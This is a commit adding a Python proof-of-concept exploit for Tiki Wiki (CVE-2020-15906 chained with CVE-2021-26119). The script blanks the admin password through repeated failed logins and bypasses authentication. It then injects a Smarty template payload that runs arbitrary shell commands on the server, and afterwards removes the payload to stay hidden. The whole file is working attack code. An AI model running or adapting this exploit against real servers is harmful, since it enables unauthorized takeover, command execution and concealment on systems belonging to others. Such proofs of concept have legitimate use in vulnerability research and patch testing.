first commit

tikiwiki/CVE-2020-15906/poc.py

@@ -0,0 +1,84 @@
+import requests
+import sys
+import re
+
+
+def auth_bypass(s, t):
+    d = {
+        "ticket" : "",
+        "user" : "admin",
+        "pass" : "trololololol",
+    }
+    h = { "referer" : t }
+    d["ticket"] = get_ticket(s, "%stiki-login.php" % t)
+    d["pass"] = "" # blank login
+    r = s.post("%stiki-login.php" % t, data=d, headers=h)
+    r = s.get("%stiki-admin.php" % t)
+    assert ("You do not have the permission that is needed" not in r.text), "(-) authentication bypass failed!"
+
+def black_password(s, t):
+    uri = "%stiki-login.php" % t
+    # setup cookies here
+    s.get(uri)
+    ticket = get_ticket(s, uri)
+    d = {
+        'user':'admin', 
+        'pass':'trololololol',
+    }
+    # crafted especially so unsuccessful_logins isn't recorded
+    for i in range(0, 51):
+        r = s.post(uri, d)
+        if("Account requires administrator approval." in r.text):
+            print("(+) admin password blanked!")
+            return
+    raise Exception("(-) auth bypass failed!") 
+
+def get_ticket(s, uri):
+    h = { "referer" : uri }
+    r = s.get(uri)
+    match = re.search('class="ticket" name="ticket" value="(.*)" \/>', r.text)
+    assert match, "(-) csrf ticket leak failed!"
+    return match.group(1)
+
+def trigger_or_patch_ssti(s, t, c=None):
+    # CVE-2021-26119
+    p = { "page": "look" }
+    h = { "referer" : t }
+    bypass = "startrce{$smarty.template_object->smarty->disableSecurity()->display('string:{shell_exec(\"%s\")}')}endrce" % c
+    d = {
+        "ticket" : get_ticket(s, "%stiki-admin.php" % t),
+        "feature_custom_html_head_content" : bypass if c else '',
+        "lm_preference[]": "feature_custom_html_head_content"
+    }
+    r = s.post("%stiki-admin.php" % t, params=p, data=d, headers=h)
+    r = s.get("%stiki-index.php" % t)
+    if c != None:
+        assert ("startrce" in r.text and "endrce" in r.text), "(-) rce failed!"
+        cmdr = r.text.split("startrce")[1].split("endrce")[0]
+        print(cmdr.strip())
+
+def main():
+    if(len(sys.argv) < 4):
+        print("(+) usage: %s <host> <path> <cmd>" % sys.argv[0])
+        print("(+) eg: %s 192.168.75.141 / id"% sys.argv[0])
+        print("(+) eg: %s 192.168.75.141 /tiki-20.3/ id" % sys.argv[0])
+        return
+    p = sys.argv[2]
+    c = sys.argv[3]
+    p = p + "/" if not p.endswith("/") else p
+    p = "/" + p if not p.startswith("/") else p
+    t = "http://%s%s" % (sys.argv[1], p)
+    s = requests.Session()
+    print("(+) blanking password...")
+    black_password(s, t)
+    print("(+) getting a session...")
+    auth_bypass(s, t)
+    print("(+) auth bypass successful!")
+    print("(+) triggering rce...\n")
+    # trigger for rce
+    trigger_or_patch_ssti(s, t, c)
+    # patch so we stay hidden
+    trigger_or_patch_ssti(s, t)
+
+if __name__ == '__main__':
+    main()